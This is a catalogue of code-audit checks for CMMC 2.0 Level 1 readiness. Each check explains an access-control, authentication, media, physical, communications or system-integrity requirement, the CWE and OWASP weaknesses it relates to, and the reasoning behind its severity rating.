Every CMMC Level 1 Readiness Audit check

CMMC 2.0 AC.L1-3.1.1 (NIST 800-171r2 3.1.1) requires that only authorized users and processes access organizational systems. Without enforced authentication on every sensitive route and API endpoint, any unauthenticated actor — a misconfigured crawler, a SSRF exploit, or a direct URL request — can read or exfiltrate Federal Contract Information. A single unguarded API endpoint in a DoD contractor's system is enough to trigger a CMMC assessment failure and jeopardize contract eligibility. CWE-306 (Missing Authentication for Critical Function) and OWASP A01 name this as the highest-severity access control failure class.

Why this severity: Critical because unauthenticated route access exposes FCI to any network-reachable requester with zero credential requirements.

CMMC 2.0 AC.L1-3.1.2 (NIST 800-171r2 3.1.2) requires that users are limited to the specific transactions and functions they are authorized to execute — not merely authenticated to the system. Without ownership or role checks on write operations, any logged-in user can modify or delete records belonging to others, a vulnerability OWASP A01 and CWE-285 classify as Broken Access Control. In FCI-handling systems this creates an audit trail problem: if user A can overwrite user B's contract documents, data integrity and individual accountability both collapse — both mandatory CMMC concerns.

Why this severity: High because an authenticated-but-unauthorized write can corrupt or delete another user's FCI without any privilege escalation step.

CMMC 2.0 AC.L1-3.1.20 (NIST 800-171r2 3.1.20) requires that external connections are verified and controlled. A wildcard CORS origin (`Access-Control-Allow-Origin: *`) allows any website to make credentialed cross-origin requests to your API, exposing session-authenticated FCI endpoints to drive-by exfiltration via CSRF-style attacks. The absence of a Content Security Policy leaves the door open for injected third-party scripts to exfiltrate data from the page. OWASP A05 (Security Misconfiguration) names both as common high-severity misconfigurations. CWE-942 (Overly Permissive Cross-domain Whitelist) applies directly.

Why this severity: Medium because exploiting wildcard CORS requires a victim to visit an attacker-controlled page while authenticated, adding a social-engineering step before data is exposed.

CMMC 2.0 AC.L1-3.1.22 (NIST 800-171r2 3.1.22) requires that organizations control information posted or processed on publicly accessible systems. Exposing stack traces, database error messages, internal file paths, or table names in HTTP responses or error pages hands an attacker a reconnaissance map — they learn your ORM, schema structure, file layout, and often your database product from a single failed request. OWASP A05 (Security Misconfiguration) and CWE-209 (Generation of Error Message Containing Sensitive Information) both call this out. In a CMMC assessment, any FCI surfacing in a public error response is a direct finding.

Why this severity: Medium because information disclosure accelerates subsequent attacks but does not itself expose FCI data — it reduces the attacker's effort to reach a critical exploit.

CMMC 2.0 AC.L1-3.1.1 and AC.L1-3.1.2 together require limiting access to authorized users and to only the functions each user is authorized to perform. Without a role separation model, every authenticated user has identical capabilities — a regular user can call admin APIs, delete other accounts, or access privileged reports. CWE-269 (Improper Privilege Management) and OWASP A01 explicitly cover flat-permission architectures where no distinction exists between standard and administrative access. In a DoD contractor context, role separation is also a condition of accountability: you must be able to prove who had what authority.

Why this severity: High because the absence of role separation allows any authenticated user to perform privileged operations without any additional credential or escalation step.

CMMC 2.0 IA.L1-3.5.1 (NIST 800-171r2 3.5.1) requires that users and processes are uniquely identified before system access is granted. Without a uniqueness constraint on user identifiers, two accounts can share the same identity — making it impossible to attribute actions to a specific individual. CMMC accountability requires an audit trail tied to unique principals. CWE-287 (Improper Authentication) and OWASP A07 (Identification and Authentication Failures) flag non-unique identification as a foundational authentication failure. A system that cannot distinguish between two users sharing an email cannot satisfy CMMC's accountability requirements, regardless of how well other controls are implemented.

Why this severity: Critical because non-unique user identifiers make individual accountability impossible — a foundational CMMC requirement that cannot be compensated by other controls.

CMMC 2.0 IA.L1-3.5.2 (NIST 800-171r2 3.5.2) requires that organizational systems authenticate users, devices, and processes before granting access. Plaintext or weakly hashed passwords (MD5, SHA-1 without salt) allow an attacker who obtains the database to crack every credential in minutes using precomputed rainbow tables. Storing authentication tokens in localStorage instead of HttpOnly cookies exposes them to any XSS payload. Sessions without expiration persist indefinitely after a user's contract access is revoked. CWE-256 (Plaintext Storage of a Password) and OWASP A07 (Identification and Authentication Failures) directly name each of these failure modes.

Why this severity: Critical because authentication weakness directly enables account takeover — bypassing every downstream access control in the system simultaneously.

CMMC 2.0 IA.L1-3.5.2 (NIST 800-171r2 3.5.2) and NIST SP 800-63B both require that password policies resist guessing attacks. A client-side-only minimum length of 6 characters — enforced in a React component but not in the API route — is trivially bypassed with a direct POST request. Short passwords combined with no rate limiting on authentication endpoints allow automated credential stuffing or brute-force attacks to succeed against FCI-bearing accounts within minutes. CWE-521 (Weak Password Requirements) and OWASP A07 name this directly. NIST 800-63B recommends 8-character minimums as a floor; 12+ is the current defensible standard.

Why this severity: High because client-side-only password enforcement is trivially bypassed, allowing weak credentials to protect FCI-bearing accounts with no server-side resistance to automated attacks.

CMMC 2.0 MP.L1-3.8.3 (NIST 800-171r2 3.8.3) requires that FCI is sanitized or destroyed before media is disposed of or reused. In software systems, this translates to hard deletion of user data on account closure, secure cleanup of temporary files after processing, and server-side session invalidation on logout. Soft-delete patterns that only set `deleted_at` leave FCI in the database indefinitely — accessible to database administrators, backup restores, and potential future bugs that bypass the soft-delete filter. CWE-459 (Incomplete Cleanup) applies when temporary file handles or session records outlive their authorized lifecycle.

Why this severity: High because retained FCI after account deletion or logout constitutes a CMMC data persistence violation that survives the user's explicit revocation of consent.

CMMC 2.0 MP.L1-3.8.3 (NIST 800-171r2 3.8.3) covers controlled access to sensitive data. Storing authentication tokens or JWT strings in `localStorage` or `sessionStorage` makes them accessible to any JavaScript executing on the page — including injected third-party scripts and XSS payloads. Unlike HttpOnly cookies, browser storage offers no protection against script-based exfiltration. CWE-922 (Insecure Storage of Sensitive Information) and OWASP A02 (Cryptographic Failures) both apply. A token stored in localStorage that encodes user role and email exposes the user's identity and access level to any script that runs in the same origin.

Why this severity: Medium because exploiting browser storage requires XSS or a malicious script on the same origin, but when that occurs, all stored tokens are immediately readable with no additional access barrier.

CMMC 2.0 PE.L1-3.10.1 (NIST 800-171r2 3.10.1) requires limiting physical access to organizational facilities and systems to authorized individuals. Physical access controls are the last line of defense when digital controls are bypassed — an attacker with physical access to a server or workstation can circumvent authentication, extract disk contents, or install hardware keyloggers. This check cannot be evaluated through source code inspection; it requires a physical site audit covering badge/key card access, locked server rooms, and physical security perimeters. Even when this check is skipped in a code-level audit, the underlying CMMC obligation to document and enforce physical controls remains.

Why this severity: Info severity because physical access controls are outside code-audit scope and are always skipped — the finding surfaces only in a physical site assessment, not here.

CMMC 2.0 PE.L1-3.10.3 (NIST 800-171r2 3.10.3) requires that visitors to facilities where FCI is processed or stored are escorted and monitored. Unescorted visitors in areas containing workstations, servers, or printed FCI can observe screens, photograph documents, or access unlocked machines without any technical barrier. This control has no software implementation — it is a procedural and physical control assessed through facility inspection. Even when this check is automatically skipped in a code audit, the absence of visitor management procedures is a direct CMMC assessment finding during a physical review.

Why this severity: Info severity because visitor escort controls are outside code-audit scope and always skipped — the gap surfaces during physical C3PAO assessment, not code inspection.

CMMC 2.0 PE.L1-3.10.4 (NIST 800-171r2 3.10.4) requires that organizations maintain audit logs of physical access to systems containing FCI. Without retained access logs, there is no way to investigate a physical security incident, verify that only authorized individuals entered sensitive areas, or demonstrate accountability during a CMMC assessment. Physical access logs — key card entry records, server room door logs — are the physical equivalent of application audit trails. The absence of a log retention policy or log review procedure is a finding in any CMMC formal assessment.

Why this severity: Low severity because physical access logging is always skipped in code audits — the gap surfaces only during physical facility assessment, where it can escalate to a higher severity finding.

CMMC 2.0 PE.L1-3.10.5 (NIST 800-171r2 3.10.5) requires that organizations manage physical access devices — keys, badges, and tokens — that control entry to FCI-processing areas. An untracked badge issued to a former employee, or a lost key with no revocation procedure, creates an indefinite physical access risk with no audit trail. Physical device management is a procedural control that cannot be evaluated through code inspection but is a required evidence item during any CMMC formal assessment.

Why this severity: Low severity because physical device management is always skipped in code audits — it becomes a higher-severity finding if device revocation failures are discovered during physical assessment.

CMMC 2.0 SC.L1-3.13.1 (NIST 800-171r2 3.13.1) requires that communications are monitored and controlled at the external boundary of systems containing FCI. Without rate limiting or request filtering on API endpoints — particularly authentication routes — brute-force credential stuffing attacks succeed unchecked. CWE-799 (Improper Control of Interaction Frequency) and OWASP A05 (Security Misconfiguration) both name boundary control gaps as exploitable. A login endpoint with no rate limit and no logging allows thousands of credential attempts per minute, making any account with a weak password reachable within seconds.

Why this severity: High because the absence of boundary controls leaves authentication endpoints open to automated brute-force attacks with no detection or throttling mechanism.

CMMC 2.0 SC.L1-3.13.5 (NIST 800-171r2 3.13.5) requires separation between publicly accessible subnetworks and internal networks. In application terms, this means public-facing routes and protected internal routes must be architecturally separated — not mixed under the same middleware or path structure with inconsistent access controls. OWASP A01 and CWE-284 (Improper Access Control) describe the failure mode: when admin and public endpoints share the same routing layer with no access boundary, a path traversal or misconfigured matcher exposes privileged functionality to public access.

Why this severity: High because routing architecture that mixes public and protected paths creates a structural bypass risk — a single middleware misconfiguration exposes all internal routes simultaneously.

CMMC 2.0 SC.L1-3.13.8 (NIST 800-171r2 3.13.8) requires that FCI be encrypted during transmission. Any HTTP connection — even for a redirect — transmits cookies, session tokens, and form data in cleartext readable by network observers on shared Wi-Fi, corporate proxies, or compromised routers. The absence of HSTS means browsers will accept HTTP connections rather than insisting on HTTPS, allowing SSL stripping attacks. CWE-319 (Cleartext Transmission of Sensitive Information) and OWASP A02 (Cryptographic Failures) both apply. CMMC assessors treat missing HSTS as a direct compliance gap for SC.L1-3.13.8.

Why this severity: High because HTTP transmission of FCI exposes session tokens and contract data to any network-layer observer without requiring any server-side compromise.

CMMC 2.0 SI.L1-3.14.1 (NIST 800-171r2 3.14.1) requires that organizations identify information system flaws, report them, and correct them. Known vulnerabilities in npm dependencies — tracked in CVE databases and surfaced by tools like `npm audit` — represent documented attack vectors. A critical vulnerability in a dependency used in an FCI-handling system is a direct compliance finding if no scanning process exists. CWE-1395 and SSDF RV.2 (Verify and Validate Software) require automation so that new CVEs are caught promptly rather than discovered only when exploited. Without a committed lock file, builds are not reproducible and vulnerability scanning results are inconsistent.

Why this severity: High because known critical CVEs in production dependencies represent documented, weaponized attack paths — not theoretical risks — that automated scanning would detect automatically.

CMMC 2.0 SI.L1-3.14.2 (NIST 800-171r2 3.14.2) requires protection against malicious code at appropriate locations in organizational systems. The primary code-level attack vectors are SQL injection via string-concatenated queries, XSS via raw innerHTML insertion of user content, and dependency confusion via uncontrolled registry sources. A single SQL injection point in a route that handles FCI gives an attacker arbitrary read/write access to the database. CWE-20 (Improper Input Validation), CWE-89 (SQL Injection), and OWASP A03 (Injection) all apply. Zod-validated API routes using ORM queries eliminate both injection classes simultaneously.

Why this severity: Critical because SQL injection in an FCI-handling API route gives an unauthenticated or low-privileged attacker direct read/write access to the entire database.

CMMC 2.0 SI.L1-3.14.4 (NIST 800-171r2 3.14.4) requires that organizations identify and report security alerts and advisories in a timely manner. Without error monitoring, failed authentication attempts, rate limit hits, and access denials are written to `console.log` and lost on the next pod restart. Security incidents in FCI-handling systems go undetected until a user reports a symptom — often long after the breach. ISO 27001:2022 A.8.16 (Monitoring activities) reinforces this as a required operational control. The absence of a security contact (`SECURITY.md` or `security.txt`) also means external researchers have no path to report vulnerabilities responsibly.

Why this severity: Medium because unmonitored systems eventually surface breaches through user-reported symptoms rather than automated detection — increasing mean time to detect and respond.

CMMC 2.0 SI.L1-3.14.5 (NIST 800-171r2 3.14.5) requires that organizations perform periodic scans and real-time monitoring of organizational systems, including applying security-relevant software updates. Dependencies that are multiple major versions behind their latest releases carry unpatched CVEs that are often publicly documented and weaponized. A Next.js 12 installation, for example, carries CVEs fixed in Next.js 13+ that attackers actively exploit. Without automated tooling (Dependabot, Renovate) and a CI/CD pipeline, updates depend entirely on developer vigilance — a process that fails silently. CWE-1395 and SSDF RV.2 require update cadence as a verifiable practice.

Why this severity: Low because outdated dependencies carry known CVEs rather than novel attack surfaces, but unpatched critical CVEs can escalate quickly once a working exploit is published.